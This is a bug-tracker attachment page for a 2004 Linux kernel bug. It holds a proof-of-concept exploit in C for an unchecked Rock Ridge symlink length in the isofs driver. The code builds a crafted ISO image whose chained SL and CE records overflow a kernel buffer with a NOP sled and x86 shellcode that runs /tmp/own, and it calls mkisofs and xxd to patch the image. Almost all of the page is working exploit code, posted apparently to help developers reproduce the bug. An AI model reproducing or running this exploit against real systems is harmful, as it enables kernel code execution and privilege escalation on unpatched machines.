Attachment 16235 Details for Bug 49841

Sample exploit provided by iDEFENSE. Maybe helps to trigger stuff

207306_isofs-kernel-exploit.c (text/plain), 7.51 KB, created by Sebastian Krahmer on 2004-02-27 17:23:42 UTC

(hide)

Description:

Filename:

MIME Type:

Creator: Sebastian Krahmer

Created: 2004-02-27 17:23:42 UTC

Size: 7.51 KB

patch

obsolete

>/*
>
> No bounds checking for symlink length in fs/isofs/rock.c
>
> Arbitrary length kernel overflow.
>
> Proof of Concept exploit.
> 
>
>*/
>
>
>
>#include <stdio.h>
>#include <stdlib.h>
>#include <unistd.h>
>#include <sys/types.h>
>#include <sys/stat.h>
>#include <fcntl.h>
>
>char *towrite;
>int offset=0;
>
>#define PATCHEXT 0x17
>#define PATCH1OFF 0x1b5
>#define PATCH2OFF 0x1c5
>
>int p1=(PATCHEXT*2048) + PATCH1OFF;
>int p2=(PATCHEXT*2048) + PATCH2OFF;
>
>char cmd_template[]=
>" echo 'Making ISO...';mkisofs -R -o test.iso %s/;"
>" echo 'Applying Patches...'; cp test.iso new.iso; echo 'Patch #1';"
>" cat p1.xxd; xxd -r p1.xxd new.iso; echo 'Patch #2'; cat p2.xxd;"
>" xxd -r p2.xxd new.iso ; echo 'Completed. Please verify the output.'";
>
>
>char shellcode[]=
>{
>  /* execve("/tmp/own",["/tmp/own",0],["/tmp/own",0]); */
>  0x31, 0xc9, 0xf7, 0xe1, 0x51, 0x51, 0x5b, 0xbe, 0x30, 0x70, 0x78, 0x6f,
>  0x81, 0xee, 0x01, 0x01, 0x01, 0x01, 0x56, 0xbe, 0x30, 0x75, 0x6e, 0x71,
>  0x81, 0xee, 0x01, 0x01, 0x01, 0x01, 0x56, 0x89, 0xe3, 0x50, 0x53, 0x89,
>  0xe1, 0x89, 0xe2, 0x04, 0x0b, 0xcd, 0x80, 0xcc,
>};
>
>char *sc=shellcode;
>
>char buf[2048];
>
>void chunkcontents(char *d,int v,unsigned int len)
>{
> if((int)len<0)exit(3);
> memcpy(d,&towrite[offset],len);
> offset+=len;
> return;
>}
>
>#define ROUNDUP(X,Y) (((X+Y-1)/Y)*Y)
>
>
>
>main(int argc, char *argv[])
>{
>  int c;
>  int ss,es;
>  int p=0,q;
>  int len=1024;
>  int sclen=0xe0;
>  int chsiz=sclen-7;
>  int fd;
>  int oversize;
>  char *cwd;
>  char *cmd;
>  char *indir;
>  char *pname;
>  pname=argv[0];
>
>  if((argv[1])&&(argv[1][0]=='-'))
>  {
>   if(argv[1][1]=='q')
>   {
>    argv++;
>    argc--;
>    fclose(stderr);
>    stderr=fopen("/dev/null","w");
>    if(!stderr)exit(10);
>   }
>  }
>  
>  if((argv[1])&&(argv[1][0]=='-'))
>  {
>   if(argv[1][1]=='q')
>   {
>    argv++;
>    argc--;
>    fclose(stdout);
>    stdout=fopen("/dev/null","w");
>    if(!stdout)exit(10);
>   }
>  }
>
>  if((argv[1])&&(argv[1][0]=='-'))
>  {
>   if(argv[1][1]=='x')
>   {
>    argv++;
>    argc--;
>    sc=0;
>   }
>   if(argv[1][1]=='y')
>   {
>    argv++;
>    argc--;
>    sc=(char*)1;
>   }
>   if(argv[1][1]=='z')
>   {
>    argv++;
>    argc--;
>    sc=(char*)2;
>   }
>
>  }
>  if(argc!=4)
>  {
>   fclose(stderr);
>   stderr=fdopen(0,"w");
>
>   fprintf(stderr,"mkslfile: PoC for 'SL' isofs kernel overflow\n");
>   fprintf(stderr,"usage: %s [-q [-q]] [-x|-y|-z] initial-pos len isodir/\n",
>           pname);
>   fprintf(stderr,"\n");
>   fprintf(stderr,"\t   -q            quieter\n");
>   fprintf(stderr,"\t-q -q            quietest\n");
>   fprintf(stderr,"\t   -x            make %%04x output file\n");
>   fprintf(stderr,"\t   -y            make int3 output file\n");
>   fprintf(stderr,"\t   -z            make stdin contents output file\n");
>
>   fprintf(stderr,"\tinitial-pos      1st sector of data file on ISO\n");
>   fprintf(stderr,"\tlen              length of symlink (4096 == one page)\n");
>   fprintf(stderr,"\tisodir/          directory to use for making ISO\n");
>   fprintf(stderr,"\n");
>   fprintf(stderr,"\t   eg: %s 0x1b 0x14000 testing/\n",pname);
>   fprintf(stderr,"\t   eg: %s -q 0xfc 0x14000 /home/zen/iso/\n",pname);
>   fprintf(stderr,"\t   eg: %s -q -q 0x1b 0x10000 ../isodump/\n",pname);
>   fprintf(stderr,"\t   eg: %s -x 0x1b 0x100000 ../isodump/\n",pname);
>   fprintf(stderr,"\t   eg: %s -y 0x1b 0x18000 ../isodump/\n",pname);
>   fprintf(stderr,"\t   eg: %s -z 0x1b 0x100000 ../isodump/ < kdata\n",pname);
>   fprintf(stderr,"\n");
>   fprintf(stderr,"\t   -x makes each symlink chunk contain\n");
>   fprintf(stderr,"\t      a number, encoded as a 4 digit\n");
>   fprintf(stderr,"\t      ASCII number represending the\n");
>   fprintf(stderr,"\t      current extent number.\n");
>   fprintf(stderr,"\t   -y just fills everything with 0xcc\n");
>   fprintf(stderr,"\t   -z reads from stdin, and uses that\n");
>   fprintf(stderr,"\t      as the overflow data.\n");
>   exit(1);
>  }
>
>  ss=strtol(argv[1],0,0);
>  oversize=strtol(argv[2],0,0);
>  indir=argv[3];
>
>  fprintf(stdout,"  requested size: 0x%x\n",oversize);
>  oversize=ROUNDUP(oversize,(chsiz));
>  fprintf(stdout,"     actual size: 0x%x\n",oversize);
>  towrite=(char*)malloc(oversize);
>
>  if(sc==shellcode)
>  {
>   memset(towrite,0x90,oversize);
>   memcpy(&towrite[oversize-strlen(sc)],sc,strlen(sc));
>   for(p=2048;p<oversize-strlen(sc);p+=4096)
>   {
>    memcpy(&towrite[p-strlen(sc)],sc,strlen(sc));
>   }
>   towrite[oversize-1]=0xcc; /* just in case */
>  }
>  else 
>  {
>   if(sc==0)
>   for(p=0;p<oversize;p+=4)
>   {
>    /* to allow more detailed debugging/ */
>    sprintf(&towrite[p],"%04x",(p+4)/chsiz);
>   }
>   else if((int)sc==1)
>   {
>    memset(towrite,0xcc,oversize);
>   }
>   else if((int)sc==2)
>   {
>    memset(towrite,0,oversize);
>    if(oversize>read(0,towrite,oversize))
>    {
>     fprintf(stdout,"short read.. padded with '\\0's \n");
>    }
>   }
>  }
>
>
>
>  es=ss+(oversize/(chsiz));
>  cwd=(char*)malloc(4096);
>  if(!cwd)exit(7);
>  cwd=getcwd(cwd,4096);
>  if(!cwd)exit(8);
>  mkdir(indir,0755); /* doesn't matter if it already exists */
>  if(chdir(indir))exit(8); /* as long as we can enter it */
>  fd=open("idea",O_CREAT|O_TRUNC|O_WRONLY,0644); /* and create a file */
>  if(fd<0)exit(2);
>  symlink("ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ"
>          "ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ"
>          "ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ"
>          "ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ",
>          "asymboliclinkname");
>
>  chdir(cwd);
>  fprintf(stdout,"start extent == 0x%x\n",ss);
>  fprintf(stdout,"end   extent == 0x%x\n",es);
>
>  for(c=ss;c<es;c++)
>  {
>    p=0;
>
>    buf[p++]='S';      /* rr->sig[0] */
>    buf[p++]='L';      /* rr->sig[1] */
>    buf[p++]=chsiz+7;  /* rr->len */ 
>    buf[p++]=1;        /* rr->version =1 */ 
>
>    fprintf(stderr,"[%c%c] l=%x v=%x ",buf[0],buf[1],buf[2]&0xff,buf[3]&0xff);
>
>    if(c+1<es) buf[p++]=1;       /* continue */
>    else       buf[p++]=0;       /* last one */
>
>
>    buf[p++]=1;      /* NFI!? */
>    buf[p++]=chsiz;/* rr->RR_SL.link.len */
> 
>    chunkcontents(&buf[p],offset,chsiz);
>    p+=chsiz;
>    fprintf(stderr,"(chunk: s=%p,e=%p,l=%p)",7,p-1,p-7);
>    fprintf(stderr,"(s=%d,e=%d,l=%d)",7,p-1,p-7);
>    q=p;
>    if(c+1<es)
>    {
>     buf[p++]='C';  /* sig[0]  */
>     buf[p++]='E';  /* sig[1]  */
>     buf[p++]=0x1c; /* length  3 * 4 * 2 bytes (24) */
>     buf[p++]=0x01; /* version 1 */  
>
>     fprintf(stderr,"[%c%c] l=%hhu v=%hhu (",buf[p-4],buf[p-3],buf[p-2],buf[p-1]);
>     fprintf(stderr,"l=%02x v=%02x) (",buf[p-2]&0xff,buf[p-1]&0xff);
>
>     /* extent */
>     *(int*)&buf[p]=c;
>     *(int*)&buf[p+0x04]=htonl(c); 
>     fprintf(stderr,"e=%u",*(int*)&buf[p]);
>     fprintf(stderr,"[%x],",*(int*)&buf[p]);
>     p+=8;
> 
>     /* offset */
>     *(int*)&buf[p]=0;
>     *(int*)&buf[p+0x04]=htonl(*(int*)&buf[p]);
>     fprintf(stderr,"o=%u",*(int*)&buf[p]);
>     fprintf(stderr,"[%x],",*(int*)&buf[p]);
>     p+=8;
>
>     /* size */
>     if(c+2==es)*(int*)&buf[p]=q;
>     else       *(int*)&buf[p]=p+8;
>     *(int*)&buf[p+0x04]=htonl(*(int*)&buf[p]);
>     fprintf(stderr,"s=%u",*(int*)&buf[p]);
>     fprintf(stderr,"[%x])\n",*(int*)&buf[p]);
>     p+=8;
>    }
>    for(q=p;q<sizeof(buf);q++)buf[q]=0;
>    write(fd,buf,sizeof(buf));
>  }
>  fprintf(stdout,"\n");
>  close(fd);
>  memset(buf,0,sizeof(buf));
>
>  fd=open("p1.xxd",O_CREAT|O_TRUNC|O_WRONLY,0644);
>  sprintf(buf,"%08x: %02x\n",p1,ss);
>  write(fd,buf,strlen(buf));
>  close(fd);
>
>  fd=open("p2.xxd",O_CREAT|O_TRUNC|O_WRONLY,0644);
>  sprintf(buf,"%08x: %02x\n",p2,sclen+0x1c); /* CE record size */
>  write(fd,buf,strlen(buf));
>  close(fd);
>
>  cmd=(char*)malloc(strlen(indir)+strlen(cmd_template)+1);
>  sprintf(cmd,cmd_template,indir);
>  system(cmd);
>  return 0;
>}

Actions: View

Attachments on bug 49841: 16111 | 16235 | 16236